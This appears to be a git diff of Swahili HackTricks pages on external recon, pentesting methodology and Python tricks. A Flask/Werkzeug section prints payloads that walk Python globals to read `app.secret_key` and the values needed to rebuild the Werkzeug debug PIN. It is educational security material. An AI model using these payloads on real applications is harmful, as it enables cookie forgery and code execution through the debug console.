Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) ili **kupakua** hifadhi zote **za umma** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
 | 
			
		||||
Unaweza kutumia **zana** [**Leakos**](https://github.com/carlospolop/Leakos) **kupakua** hifadhi zote za **um public** za **taasisi** na za **waendelezaji** wake na kuendesha [**gitleaks**](https://github.com/zricethezav/gitleaks) juu yao kiotomatiki.
 | 
			
		||||
 | 
			
		||||
**Leakos** pia inaweza kutumika kuendesha **gitleaks** dhidi ya **maandishi** yaliyotolewa **URLs yaliyopitishwa** kwake kwani wakati mwingine **kurasa za wavuti pia zina siri**.
 | 
			
		||||
 | 
			
		||||
@ -563,24 +563,24 @@ Angalia pia **ukurasa** huu kwa **github dorks** zinazoweza kutafutwa katika shi
 | 
			
		||||
github-leaked-secrets.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Mvuvi wa Pastes
 | 
			
		||||
### Mvuja wa Pastes
 | 
			
		||||
 | 
			
		||||
Wakati mwingine washambuliaji au wafanyakazi tu wata **chapisha maudhui ya kampuni katika tovuti ya paste**. Hii inaweza kuwa na au isiwe na **habari nyeti**, lakini ni ya kuvutia kutafuta.\
 | 
			
		||||
Unaweza kutumia zana [**Pastos**](https://github.com/carlospolop/Pastos) kutafuta katika zaidi ya tovuti 80 za paste kwa wakati mmoja.
 | 
			
		||||
 | 
			
		||||
### Mvuvi wa Google
 | 
			
		||||
### Mvuja wa Google
 | 
			
		||||
 | 
			
		||||
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari zilizofichuliwa ambazo hazipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
 | 
			
		||||
Dorks za zamani lakini za dhahabu daima ni muhimu kupata **habari iliyofichuliwa ambayo haipaswi kuwa hapo**. Tatizo pekee ni kwamba [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) ina maelezo kadhaa **elfu** ya maswali yanayoweza kutekelezwa ambayo huwezi kuyatekeleza kwa mikono. Hivyo, unaweza kuchukua 10 zako unazopenda au unaweza kutumia **zana kama** [**Gorks**](https://github.com/carlospolop/Gorks) **kuziendesha zote**.
 | 
			
		||||
 | 
			
		||||
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamaliza kamwe kwani google itakuzuia haraka sana._
 | 
			
		||||
_Kumbuka kwamba zana zinazotarajia kuendesha database yote kwa kutumia kivinjari cha kawaida cha Google hazitamalizika kamwe kwani google itakuzuia haraka sana._
 | 
			
		||||
 | 
			
		||||
### **Kuangalia hatari**
 | 
			
		||||
### **Kuangalia udhaifu**
 | 
			
		||||
 | 
			
		||||
Ikiwa unapata **akida zilizovuja** halali au token za API, hii ni ushindi rahisi sana.
 | 
			
		||||
 | 
			
		||||
## Hatari za Kanuni za Umma
 | 
			
		||||
## Udhaifu wa Msimbo wa Umma
 | 
			
		||||
 | 
			
		||||
Ikiwa umepata kwamba kampuni ina **kanuni za chanzo wazi** unaweza **kuchambua** na kutafuta **hatari** juu yake.
 | 
			
		||||
Ikiwa umepata kwamba kampuni ina **msimbo wa chanzo wazi** unaweza **kuuchambua** na kutafuta **udhaifu** ndani yake.
 | 
			
		||||
 | 
			
		||||
**Kulingana na lugha** kuna zana tofauti unazoweza kutumia:
 | 
			
		||||
 | 
			
		||||
@ -592,31 +592,31 @@ Pia kuna huduma za bure zinazokuruhusu **kuchunguza hifadhi za umma**, kama:
 | 
			
		||||
 | 
			
		||||
- [**Snyk**](https://app.snyk.io/)
 | 
			
		||||
 | 
			
		||||
## [**Mbinu ya Pentesting Wavuti**](../../network-services-pentesting/pentesting-web/)
 | 
			
		||||
## [**Mbinu ya Pentesting ya Wavuti**](../../network-services-pentesting/pentesting-web/index.html)
 | 
			
		||||
 | 
			
		||||
**Wingi wa hatari** zinazopatikana na wawindaji wa makosa ziko ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/).
 | 
			
		||||
**Wingi wa udhaifu** unaopatikana na wawindaji wa makosa unapatikana ndani ya **maombi ya wavuti**, hivyo katika hatua hii ningependa kuzungumzia **mbinu ya kupima maombi ya wavuti**, na unaweza [**kupata habari hii hapa**](../../network-services-pentesting/pentesting-web/index.html).
 | 
			
		||||
 | 
			
		||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), kwani, usitarajie zipate hatari nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari za awali za wavuti.**
 | 
			
		||||
Ningependa pia kutoa kumbukumbu maalum kwa sehemu [**Zana za Skana za Kiotomatiki za Wavuti**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), kwani, usitarajie zipate udhaifu nyeti sana, zinakuja kwa manufaa kutekeleza kwenye **mchakato wa kazi ili kupata habari ya awali ya wavuti.**
 | 
			
		||||
 | 
			
		||||
## Muhtasari
 | 
			
		||||
 | 
			
		||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi**. Ndio, ni msingi kwa sababu kuna hesabu zaidi inayoweza kufanywa (tutaona hila zaidi baadaye).
 | 
			
		||||
> Hongera! Katika hatua hii tayari umetekeleza **kuhesabu msingi** yote. Ndio, ni msingi kwa sababu kuna hesabu zaidi inayoweza kufanywa (tutaona hila zaidi baadaye).
 | 
			
		||||
 | 
			
		||||
Hivyo tayari umepata:
 | 
			
		||||
 | 
			
		||||
1. Kupata kampuni zote **ndani ya upeo**
 | 
			
		||||
2. Kupata mali zote **zinazomilikiwa na kampuni** (na kufanya skana za hatari ikiwa ziko ndani ya upeo)
 | 
			
		||||
3. Kupata **domeni** zote zinazomilikiwa na kampuni
 | 
			
		||||
1. Kupata **makampuni** yote ndani ya upeo
 | 
			
		||||
2. Kupata **mali** zote zinazomilikiwa na makampuni (na kufanya skana za vuln ikiwa ziko ndani ya upeo)
 | 
			
		||||
3. Kupata **domeni** zote zinazomilikiwa na makampuni
 | 
			
		||||
4. Kupata **subdomeni** zote za domeni (je, kuna kuchukuliwa kwa subdomeni?)
 | 
			
		||||
5. Kupata **IPs** zote (kutoka na **sio kutoka CDNs**) ndani ya upeo.
 | 
			
		||||
6. Kupata **seva zote za wavuti** na kuchukua **mfano wa skrini** wa hizo (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
 | 
			
		||||
7. Kupata **mali zote za umma za wingu** zinazomilikiwa na kampuni.
 | 
			
		||||
8. **Barua pepe**, **mvuvi wa akida**, na **mvuvi wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
 | 
			
		||||
6. Kupata **seva zote za wavuti** na kuchukua **mifano ya skrini** zao (je, kuna kitu chochote cha ajabu kinachostahili kuangaliwa kwa kina?)
 | 
			
		||||
7. Kupata **mali zote za wingu za umma** zinazomilikiwa na kampuni.
 | 
			
		||||
8. **Barua pepe**, **mvuja wa akida**, na **mvuja wa siri** ambazo zinaweza kukupa **ushindi mkubwa kwa urahisi sana**.
 | 
			
		||||
9. **Pentesting wavuti zote ulizozipata**
 | 
			
		||||
 | 
			
		||||
## **Zana za Kiotomatiki za Upelelezi Kamili**
 | 
			
		||||
## **Zana za Ufuatiliaji wa Moja kwa Moja**
 | 
			
		||||
 | 
			
		||||
Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
 | 
			
		||||
Kuna zana kadhaa huko nje ambazo zitatekeleza sehemu ya vitendo vilivyopendekezwa dhidi ya upeo fulani.
 | 
			
		||||
 | 
			
		||||
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
 | 
			
		||||
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
 | 
			
		||||
@ -625,6 +625,6 @@ Kuna zana kadhaa huko nje ambazo zitafanya sehemu ya vitendo vilivyopendekezwa d
 | 
			
		||||
 | 
			
		||||
## **Marejeleo**
 | 
			
		||||
 | 
			
		||||
- Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Mwindaji wa Makosa v4.0 - Toleo la Upelelezi**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 | 
			
		||||
- Kozi zote za bure za [**@Jhaddix**](https://twitter.com/Jhaddix) kama [**Mbinu ya Wawindaji wa Makosa v4.0 - Toleo la Ufuatiliaji**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -13,23 +13,23 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
 | 
			
		||||
 | 
			
		||||
Je, una **ufikiaji wa kimwili** kwa mashine unayotaka kushambulia? Unapaswa kusoma baadhi ya [**hila kuhusu mashambulizi ya kimwili**](../hardware-physical-access/physical-attacks.md) na nyingine kuhusu [**kutoroka kutoka kwa programu za GUI**](../hardware-physical-access/escaping-from-gui-applications.md).
 | 
			
		||||
 | 
			
		||||
### 1 - [Kugundua mwenyeji ndani ya mtandao](pentesting-network/index.html#discovering-hosts)/ [Kugundua Mali za kampuni](external-recon-methodology/)
 | 
			
		||||
### 1 - [Kugundua mwenyeji ndani ya mtandao](pentesting-network/index.html#discovering-hosts)/ [Kugundua Mali za kampuni](external-recon-methodology/index.html)
 | 
			
		||||
 | 
			
		||||
**Inategemea** kama **mtihani** unaofanya ni **mtihani wa ndani au wa nje**, huenda ukavutiwa na kutafuta **wenyeji ndani ya mtandao wa kampuni** (mtihani wa ndani) au **kutafuta mali za kampuni mtandaoni** (mtihani wa nje).
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Kumbuka kwamba ikiwa unafanya mtihani wa nje, mara tu unavyoweza kupata ufikiaji wa mtandao wa ndani wa kampuni unapaswa kuanzisha tena mwongozo huu.
 | 
			
		||||
 | 
			
		||||
### **2-** [**Kufurahia mtandao**](pentesting-network/) **(Ndani)**
 | 
			
		||||
### **2-** [**Kufurahia mtandao**](pentesting-network/index.html) **(Ndani)**
 | 
			
		||||
 | 
			
		||||
**Sehemu hii inatumika tu ikiwa unafanya mtihani wa ndani.**\
 | 
			
		||||
Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kutoka mtandao** au **kunusa** baadhi ya **data** ili kujifunza **kwa pasivu/aktively (MitM)** kile unachoweza kupata ndani ya mtandao. Unaweza kusoma [**Pentesting Network**](pentesting-network/index.html#sniffing).
 | 
			
		||||
Kabla ya kushambulia mwenyeji huenda ukapendelea **kuiba baadhi ya akidi** **kutoka kwenye mtandao** au **kunusa** baadhi ya **data** ili kujifunza **kwa njia ya kupita/moja kwa moja (MitM)** unachoweza kupata ndani ya mtandao. Unaweza kusoma [**Pentesting Network**](pentesting-network/index.html#sniffing).
 | 
			
		||||
 | 
			
		||||
### 3- [Skana Bandari - Kugundua huduma](pentesting-network/index.html#scanning-hosts)
 | 
			
		||||
 | 
			
		||||
Jambo la kwanza kufanya unapotafuta **udhaifu katika mwenyeji** ni kujua ni **huduma zipi zinaendesha** katika bandari zipi. Hebu tuone [**zana za msingi za kuskan bandari za wenyeji**](pentesting-network/index.html#scanning-hosts).
 | 
			
		||||
 | 
			
		||||
### **4-** [Kuhifadhi matoleo ya huduma](../generic-hacking/search-exploits.md)
 | 
			
		||||
### **4-** [Kuhakikisha matoleo ya huduma](../generic-hacking/search-exploits.md)
 | 
			
		||||
 | 
			
		||||
Mara tu unavyojua ni huduma zipi zinaendesha, na labda toleo lao, unapaswa **kutafuta udhaifu uliojulikana**. Huenda ukapata bahati na kuna exploit inayoweza kukupa shell...
 | 
			
		||||
 | 
			
		||||
@ -39,7 +39,7 @@ Ikiwa hakuna exploit ya kuvutia kwa huduma yoyote inayofanya kazi, unapaswa kuta
 | 
			
		||||
 | 
			
		||||
**Ndani ya kitabu hiki utapata mwongozo wa pentest huduma za kawaida zaidi** (na nyingine ambazo si za kawaida sana). Tafadhali, tafuta katika orodha ya kushoto sehemu ya _**PENTESTING**_ (huduma zimepangwa kwa bandari zao za kawaida).
 | 
			
		||||
 | 
			
		||||
**Ninataka kutoa kumbukumbu maalum kwa** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **sehemu (kama ni kubwa zaidi).**\
 | 
			
		||||
**Ninataka kutoa kumbukumbu maalum kwa sehemu ya** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **(kama ni kubwa zaidi).**\
 | 
			
		||||
Pia, mwongozo mdogo juu ya jinsi ya [**kutafuta udhaifu uliojulikana katika programu**](../generic-hacking/search-exploits.md) unaweza kupatikana hapa.
 | 
			
		||||
 | 
			
		||||
**Ikiwa huduma yako haipo ndani ya orodha, tafuta Google** kwa mafunzo mengine na **niambie ikiwa unataka niiongeze.** Ikiwa **huwezi kupata chochote** kwenye Google, fanya **pentesting ya kipofu** mwenyewe, unaweza kuanza kwa **kuungana na huduma, kuifanyia fuzzing na kusoma majibu** (ikiwa yapo).
 | 
			
		||||
@ -52,15 +52,15 @@ Pia kuna zana kadhaa ambazo zinaweza kufanya **tathmini za udhaifu za kiotomatik
 | 
			
		||||
 | 
			
		||||
Katika hali fulani **Brute-Force** inaweza kuwa na manufaa ili **kushawishi** **huduma**. [**Pata hapa CheatSheet ya huduma tofauti za kuangamiza**](../generic-hacking/brute-force.md)**.**
 | 
			
		||||
 | 
			
		||||
### 6- [Phishing](phishing-methodology/)
 | 
			
		||||
### 6- [Phishing](phishing-methodology/index.html)
 | 
			
		||||
 | 
			
		||||
Ikiwa katika hatua hii huja pata udhaifu wowote wa kuvutia huenda **ukahitaji kujaribu phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu zangu za phishing [hapa](phishing-methodology/):
 | 
			
		||||
Ikiwa katika hatua hii hujapata udhaifu wowote wa kuvutia unapaswa **kujaribu baadhi ya phishing** ili kuingia ndani ya mtandao. Unaweza kusoma mbinu zangu za phishing [hapa](phishing-methodology/index.html):
 | 
			
		||||
 | 
			
		||||
### **7-** [**Kupata Shell**](../generic-hacking/reverse-shells/)
 | 
			
		||||
### **7-** [**Kupata Shell**](../generic-hacking/reverse-shells/index.html)
 | 
			
		||||
 | 
			
		||||
Kwa namna fulani unapaswa kuwa umepata **njia yoyote ya kutekeleza msimbo** katika mwathirika. Kisha, [orodha ya zana zinazowezekana ndani ya mfumo ambazo unaweza kutumia kupata shell ya kurudi itakuwa ya manufaa sana](../generic-hacking/reverse-shells/).
 | 
			
		||||
Kwa namna fulani unapaswa kuwa umepata **njia yoyote ya kutekeleza msimbo** katika mwathirika. Kisha, [orodha ya zana zinazowezekana ndani ya mfumo ambazo unaweza kutumia kupata shell ya kurudi itakuwa ya manufaa sana](../generic-hacking/reverse-shells/index.html).
 | 
			
		||||
 | 
			
		||||
Hasa katika Windows unaweza kuhitaji msaada wa **kuepuka antiviruses**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
 | 
			
		||||
Hasa katika Windows unaweza kuhitaji msaada wa **kuepuka antivirusi**: [**Angalia ukurasa huu**](../windows-hardening/av-bypass.md)**.**\\
 | 
			
		||||
 | 
			
		||||
### 8- Ndani
 | 
			
		||||
 | 
			
		||||
@ -68,37 +68,37 @@ Ikiwa una matatizo na shell, unaweza kupata hapa **mkusanyiko mdogo wa amri muhi
 | 
			
		||||
 | 
			
		||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
 | 
			
		||||
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
 | 
			
		||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
 | 
			
		||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
 | 
			
		||||
 | 
			
		||||
### **9 -** [**Uhamasishaji**](../generic-hacking/exfiltration.md)
 | 
			
		||||
### **9 -** [**Uhamishaji**](../generic-hacking/exfiltration.md)
 | 
			
		||||
 | 
			
		||||
Huenda ukahitaji **kutoa data kutoka kwa mwathirika** au hata **kuingiza kitu** (kama vile skripti za kupandisha hadhi). **Hapa una** [**post kuhusu zana za kawaida ambazo unaweza kutumia kwa malengo haya**](../generic-hacking/exfiltration.md)**.**
 | 
			
		||||
Huenda ukahitaji **kutoa data kutoka kwa mwathirika** au hata **kuingiza kitu** (kama vile skripti za kupandisha mamlaka). **Hapa una** [**post kuhusu zana za kawaida ambazo unaweza kutumia kwa malengo haya**](../generic-hacking/exfiltration.md)**.**
 | 
			
		||||
 | 
			
		||||
### **10- Kupandisha Hadhi**
 | 
			
		||||
### **10- Kupandisha Mamlaka**
 | 
			
		||||
 | 
			
		||||
#### **10.1- Privesc za Mitaa**
 | 
			
		||||
 | 
			
		||||
Ikiwa wewe si **root/Administrator** ndani ya sanduku, unapaswa kutafuta njia ya **kupandisha hadhi.**\
 | 
			
		||||
Hapa unaweza kupata **mwongozo wa kupandisha hadhi kwa ndani katika** [**Linux**](../linux-hardening/privilege-escalation/) **na katika** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
 | 
			
		||||
Ikiwa wewe si **root/Administrator** ndani ya sanduku, unapaswa kutafuta njia ya **kupandisha mamlaka.**\
 | 
			
		||||
Hapa unaweza kupata **mwongozo wa kupandisha mamlaka kwa ndani katika** [**Linux**](../linux-hardening/privilege-escalation/index.html) **na katika** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
 | 
			
		||||
Unapaswa pia kuangalia hizi kurasa kuhusu jinsi **Windows inavyofanya kazi**:
 | 
			
		||||
 | 
			
		||||
- [**Uthibitishaji, Akidi, Privileges za Token na UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
 | 
			
		||||
- Jinsi [**NTLM inavyofanya kazi**](../windows-hardening/ntlm/)
 | 
			
		||||
- [**Uthibitishaji, Akidi, Mamlaka ya Token na UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
 | 
			
		||||
- Jinsi [**NTLM inavyofanya kazi**](../windows-hardening/ntlm/index.html)
 | 
			
		||||
- Jinsi ya [**kuiba akidi**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) katika Windows
 | 
			
		||||
- Hila kadhaa kuhusu [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
 | 
			
		||||
- Hila kadhaa kuhusu [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
 | 
			
		||||
 | 
			
		||||
**Usisahau kuangalia zana bora za kuorodhesha njia za Kupandisha Hadhi za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 | 
			
		||||
**Usisahau kuangalia zana bora za kuorodhesha njia za Kupandisha Mamlaka za ndani za Windows na Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
 | 
			
		||||
 | 
			
		||||
#### **10.2- Privesc za Kihuduma**
 | 
			
		||||
#### **10.2- Privesc za Kihistoria**
 | 
			
		||||
 | 
			
		||||
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha hadhi na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/). Hata kama hii ni sehemu tu ya sehemu, mchakato huu unaweza kuwa **nyeti sana** katika kazi ya Pentesting/Red Team.
 | 
			
		||||
Hapa unaweza kupata [**mbinu inayofafanua hatua za kawaida za kuorodhesha, kupandisha mamlaka na kudumu kwenye Active Directory**](../windows-hardening/active-directory-methodology/index.html). Hata kama hii ni sehemu tu ya sehemu, mchakato huu unaweza kuwa **nyeti sana** katika kazi ya Pentesting/Red Team.
 | 
			
		||||
 | 
			
		||||
### 11 - POST
 | 
			
		||||
 | 
			
		||||
#### **11**.1 - Kuiba
 | 
			
		||||
 | 
			
		||||
Angalia ikiwa unaweza kupata zaidi **nywila** ndani ya mwenyeji au ikiwa una **ufikiaji kwa mashine nyingine** zikiwa na **privileges** za **mtumiaji wako**.\
 | 
			
		||||
Pata hapa njia tofauti za [**kudump nywila katika Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 | 
			
		||||
Angalia ikiwa unaweza kupata zaidi **nywila** ndani ya mwenyeji au ikiwa una **ufikiaji kwa mashine nyingine** zikiwa na **mamlaka** ya **mtumiaji** wako.\
 | 
			
		||||
Pata hapa njia tofauti za [**dump nywila katika Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
 | 
			
		||||
 | 
			
		||||
#### 11.2 - Kudumu
 | 
			
		||||
 | 
			
		||||
@ -109,22 +109,22 @@ TODO: Kamalisha kudumu Post katika Windows & Linux
 | 
			
		||||
 | 
			
		||||
### 12 - Pivoting
 | 
			
		||||
 | 
			
		||||
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anza tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
 | 
			
		||||
Kwa **akidi zilizokusanywa** unaweza kuwa na ufikiaji kwa mashine nyingine, au labda unahitaji **kugundua na kuskan wenyeji wapya** (anzisha tena Mbinu ya Pentesting) ndani ya mitandao mipya ambapo mwathirika wako ameunganishwa.\
 | 
			
		||||
Katika kesi hii, tunneling inaweza kuwa muhimu. Hapa unaweza kupata [**post inayozungumzia tunneling**](../generic-hacking/tunneling-and-port-forwarding.md).\
 | 
			
		||||
Unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/). Huko utapata hila nzuri za kuhamasisha, kupandisha hadhi na kudump akidi.\
 | 
			
		||||
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/), inaweza kuwa ya manufaa sana kuhamasisha katika mazingira ya Windows.
 | 
			
		||||
Bila shaka unapaswa pia kuangalia post kuhusu [Mbinu ya pentesting ya Active Directory](../windows-hardening/active-directory-methodology/index.html). Huko utapata hila nzuri za kuhamasisha, kupandisha mamlaka na dump akidi.\
 | 
			
		||||
Angalia pia ukurasa kuhusu [**NTLM**](../windows-hardening/ntlm/index.html), inaweza kuwa ya manufaa sana kuhamasisha katika mazingira ya Windows.
 | 
			
		||||
 | 
			
		||||
### ZAIDI
 | 
			
		||||
 | 
			
		||||
#### [Programu za Android](../mobile-pentesting/android-app-pentesting/)
 | 
			
		||||
#### [Programu za Android](../mobile-pentesting/android-app-pentesting/index.html)
 | 
			
		||||
 | 
			
		||||
#### **Kuvunja**
 | 
			
		||||
 | 
			
		||||
- [**Kuvunja Msingi wa Linux**](broken-reference/)
 | 
			
		||||
- [**Kuvunja Msingi wa Linux**](broken-reference/index.html)
 | 
			
		||||
- [**Kuvunja Msingi wa Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
 | 
			
		||||
- [**Zana za kuvunja msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
 | 
			
		||||
- [**Zana za kuvunja msingi**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
 | 
			
		||||
 | 
			
		||||
#### [**Python Msingi**](python/)
 | 
			
		||||
#### [**Python Msingi**](python/index.html)
 | 
			
		||||
 | 
			
		||||
#### **Hila za Crypto**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -2,12 +2,12 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
**Kurasa za kuvutia za kuangalia:**
 | 
			
		||||
**Kurasa za kuvutia kuangalia:**
 | 
			
		||||
 | 
			
		||||
- [**Hacks za Pyscript**](pyscript.md)
 | 
			
		||||
- [**Python deserializations**](../../pentesting-web/deserialization/index.html#python)
 | 
			
		||||
- [**Njia za kupita python sandboxes**](bypass-python-sandboxes/)
 | 
			
		||||
- [**Msingi wa sintaksia za maombi ya wavuti ya python**](web-requests.md)
 | 
			
		||||
- [**Msingi wa sintaksia na maktaba za python**](basic-python.md)
 | 
			
		||||
- [**Python deserialization**](../../pentesting-web/deserialization/index.html#python)
 | 
			
		||||
- [**Njia za kupita sandboxes za python**](bypass-python-sandboxes/index.html)
 | 
			
		||||
- [**Sintaksia ya maombi ya wavuti ya python ya msingi**](web-requests.md)
 | 
			
		||||
- [**Sintaksia na maktaba za python za msingi**](basic-python.md)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
@ -4,28 +4,28 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
Vulnerabilities tofauti kama [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) au [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) zinaweza kukuwezesha **kusoma data za ndani za python lakini hazitakuruhusu kuendesha msimbo**. Hivyo, pentester atahitaji kutumia ruhusa hizi za kusoma ili **kupata mamlaka nyeti na kuongeza udhaifu**.
 | 
			
		||||
Vulnerabilities tofauti kama [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) au [**Class Pollution**](class-pollution-pythons-prototype-pollution.md) zinaweza kukuwezesha **kusoma data za ndani za python lakini hazitakuruhusu kuendesha msimbo**. Hivyo, pentester atahitaji kutumia vibaya ruhusa hizi za kusoma ili **kupata mamlaka nyeti na kuongeza udhaifu**.
 | 
			
		||||
 | 
			
		||||
### Flask - Read secret key
 | 
			
		||||
 | 
			
		||||
Ukurasa mkuu wa programu ya Flask huenda ukawa na **`app`** kitu cha kimataifa ambapo **siri hii imewekwa**.
 | 
			
		||||
Ukurasa mkuu wa programu ya Flask huenda ukawa na **`app`** kitu cha kimataifa ambacho **siri hii imewekwa**.
 | 
			
		||||
```python
 | 
			
		||||
app = Flask(__name__, template_folder='templates')
 | 
			
		||||
app.secret_key = '(:secret:)'
 | 
			
		||||
```
 | 
			
		||||
Katika kesi hii, inawezekana kufikia kitu hiki kwa kutumia gadget yoyote ili **kufikia vitu vya kimataifa** kutoka kwenye [**ukurasa wa Bypass Python sandboxes**](bypass-python-sandboxes/).
 | 
			
		||||
Katika kesi hii, inawezekana kufikia kitu hiki kwa kutumia gadget yoyote ili **kufikia vitu vya kimataifa** kutoka kwenye [**ukurasa wa Bypass Python sandboxes**](bypass-python-sandboxes/index.html).
 | 
			
		||||
 | 
			
		||||
Katika kesi ambapo **udhaifu uko katika faili tofauti ya python**, unahitaji gadget ili kupita faili ili kufikia faili kuu ili **kufikia kitu cha kimataifa `app.secret_key`** kubadilisha funguo ya siri ya Flask na kuwa na uwezo wa [**kuinua mamlaka** ukijua funguo hii](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 | 
			
		||||
Katika kesi ambapo **udhaifu uko katika faili tofauti ya python**, unahitaji gadget ili kupita kwenye faili ili kufikia faili kuu ili **kufikia kitu cha kimataifa `app.secret_key`** kubadilisha funguo ya siri ya Flask na kuwa na uwezo wa [**kuinua mamlaka** ukijua funguo hii](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
 | 
			
		||||
 | 
			
		||||
Payload kama hii [kutoka kwenye andiko hili](https://ctftime.org/writeup/36082):
 | 
			
		||||
```python
 | 
			
		||||
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
 | 
			
		||||
```
 | 
			
		||||
Tumia payload hii ili **kubadilisha `app.secret_key`** (jina katika programu yako linaweza kuwa tofauti) ili uweze kusaini vidakuzi vya flask vipya na vya kibali zaidi.
 | 
			
		||||
Tumia payload hii kubadilisha **`app.secret_key`** (jina katika programu yako linaweza kuwa tofauti) ili uweze kusaini vidakuzi vya flask vipya na vya kibali zaidi.
 | 
			
		||||
 | 
			
		||||
### Werkzeug - machine_id na node uuid
 | 
			
		||||
 | 
			
		||||
[**Kwa kutumia payload hizi kutoka kwa andiko hili**](https://vozec.fr/writeups/tweedle-dum-dee/) utaweza kufikia **machine_id** na **uuid** node, ambazo ni **siri kuu** unazohitaji ili [**kuunda pin ya Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md) ambayo unaweza kutumia kufikia console ya python katika `/console` ikiwa **mode ya debug imewezeshwa:**
 | 
			
		||||
[**Kwa kutumia payload hizi kutoka kwa andiko hili**](https://vozec.fr/writeups/tweedle-dum-dee/) utaweza kufikia **machine_id** na **uuid** node, ambazo ni **siri kuu** unazohitaji ili [**kuunda pin ya Werkzeug**](../../network-services-pentesting/pentesting-web/werkzeug.md) unaweza kutumia kufikia console ya python katika `/console` ikiwa **mode ya debug imewezeshwa:**
 | 
			
		||||
```python
 | 
			
		||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
 | 
			
		||||
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
 | 
			
		||||
 | 
			
		||||
@ -17,8 +17,8 @@
 | 
			
		||||
 | 
			
		||||
### [Drives](privilege-escalation/index.html#drives)
 | 
			
		||||
 | 
			
		||||
- [ ] **Orodhesha** drives zilizowekwa
 | 
			
		||||
- [ ] **Kuna drive isiyowekwa?**
 | 
			
		||||
